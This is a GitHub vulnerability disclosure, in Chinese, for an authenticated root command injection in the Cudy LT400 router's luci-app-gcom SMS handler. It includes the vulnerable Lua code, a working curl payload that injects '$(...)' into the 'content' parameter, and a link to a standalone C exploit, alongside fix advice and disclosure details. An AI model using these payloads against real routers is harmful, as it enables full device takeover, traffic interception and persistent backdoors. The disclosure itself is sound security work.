archnexus707/cudy-lt400-gcom-sms-rce
GitHub: archnexus707/cudy-lt400-gcom-sms-rce
该项目披露了 Cudy LT400 路由器 luci-app-gcom 组件中的已认证 root 命令注入漏洞,并提供 PoC 利用程序与修复建议。
Stars: 0 | Forks: 0
# Cudy LT400 — `luci-app-gcom` 中的已认证 Root OS 命令注入(SMS "send test")
**类别:** CWE-78 — OS 命令注入
**影响:** 以 **root** 身份执行任意命令(设备完全被攻陷)
**受影响范围:** Cudy LT400,固件 **1.15.27**(LEDE/OpenWrt 17.01.5),硬件版本 LT400A R6
**组件:** `/usr/lib/lua/luci/controller/gcom.lua` → `action_send_test`
**Endpoint:** `POST /cgi-bin/luci/admin/network/gcom/sms/sendtest`(参数 `content`, `phone`)
**发现者:** archnexus707 · 2026 · 已向 Cudy 负责任披露
## 概述
Cudy LT400 4G LTE 路由器运行的是厂商定制的 LEDE/OpenWrt 17.01.5 镜像,并带有 LuCI Web 界面。Cudy 专有的 `luci-app-gcom` 包在其 SMS *send test message* 处理程序中存在 OS 命令注入漏洞。HTTP 参数 `content` 和 `phone` 在未经充分清理的情况下,被直接拼接进通过 `luci.util.exec()` 运行的 `/bin/sh` 管道中。由于 `uhttpd` 以 **root** 身份运行,已认证的管理员可以实现以 root 身份执行任意命令。
## 根本原因
重建的 `action_send_test`(控制器以 Lua 字节码形式发布;逻辑从字符串常量中恢复):
```
local content = "[Cudy]" .. luci.http.formvalue("content") -- attacker-controlled
content = content:gsub('"', '') -- only double quotes removed (INSUFFICIENT)
luci.util.exec(string.format(
'echo -n "%s" | iconv -f UTF-8 -t UCS-2LE | hexdump ...', content)) -- SHELL SINK
```
唯一的过滤措施是移除 `"` 字符。随后该值被放入一个**双引号**包裹的 shell 词中:`echo -n ""`。在 POSIX `sh` 中,命令替换 `$(...)` 和反引号**在双引号内仍然会被求值**,因此有效载荷 `content=$(id)` 会执行 `id`。这不需要突破引号限制,使得剥离引号的方法无效。`content` 和 `phone` 都会传送到 shell 且均可被注入。
## 概念验证
```
# 在通过 LuCI 认证并获取 session cookie + CSRF token 之后:
curl -s -b "sysauth=$COOKIE" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "iface=4g" \
--data-urlencode "phone=10086" \
--data-urlencode 'content=$({ id; uname -a; } > /www/poc.txt 2>&1)' \
"http:///cgi-bin/luci/admin/network/gcom/sms/sendtest"
curl -s "http:///poc.txt"
# -> uid=0(root) gid=0(root)
# Linux LT400 4.4.140 ... mips GNU/Linux
```
提供了一个独立的 C 语言漏洞利用程序:[`cudy_lt400_gcom_rce.c`](./cudy_lt400_gcom_rce.c)
(使用原始套接字,无外部依赖)。它会登录、提取 CSRF token、注入命令、渗出输出结果并进行清理。
```
gcc -O2 -D_GNU_SOURCE -o cudy_rce cudy_lt400_gcom_rce.c
./cudy_rce "id; uname -a"
```
## 影响
设备被完全以 root 权限攻陷。作为网络网关,这使得攻击者能够进行流量拦截/篡改、DNS/凭据收集、植入持久化后门、局域网(LAN)枢纽跳板攻击、modem/SIM/SMS 滥用以及拒绝服务攻击。
## 严重程度
- **CVSS v3.1:** 7.2 (High) — `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`
- **CVSS v4.0:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
## 修复建议
不要将用户输入直接传递给 shell。请通过参数向量(argument-vector)API 对 SMS 正文进行编码,或者从 stdin/临时文件中提取内容输入给 `iconv`,而不是使用 `echo -n "..."`。如果必须使用 shell,请严格对 SMS 内容使用允许列表,并转义 `$()`、反引号、`\`、`;`、`|`、`&` 和换行符(仅剥离 `"` 是不够的)。审查同类的 `action_send_sms`(来自 `phone` 的 `AT+CMGW="%s"`)是否存在 AT 命令注入。在可行的情况下,应移除 `uhttpd`/CGI 的 root 权限。
## 与既有研究的区分
- ≠ **CVE-2024-39209**(`luci-app-sms-tool`,一个不同的社区包)。
- ≠ **CVE-2026-4537**(Cudy **TR1200** `ipsec.lua` `action_ipsec_conn` — 不同的产品/控制器/函数)。同*类别*,但属于独立实例。
- 迄今为止公开的 Cudy LT400 CVE 均为 XSS(例如 CVE-2023-31852),而非 gcom/SMS 路径中的命令注入。
## 漏洞披露
已通过协调披露流程向 Cudy(`support@cudy.com`)报告;已通过 MITRE CNA-LR 请求分配 CVE ID。设有 90 天的披露窗口期。
标签:Go语言工具, LuCI, OpenWrt, PoC, rizin, 命令注入, 客户端加密, 暴力破解, 路由器漏洞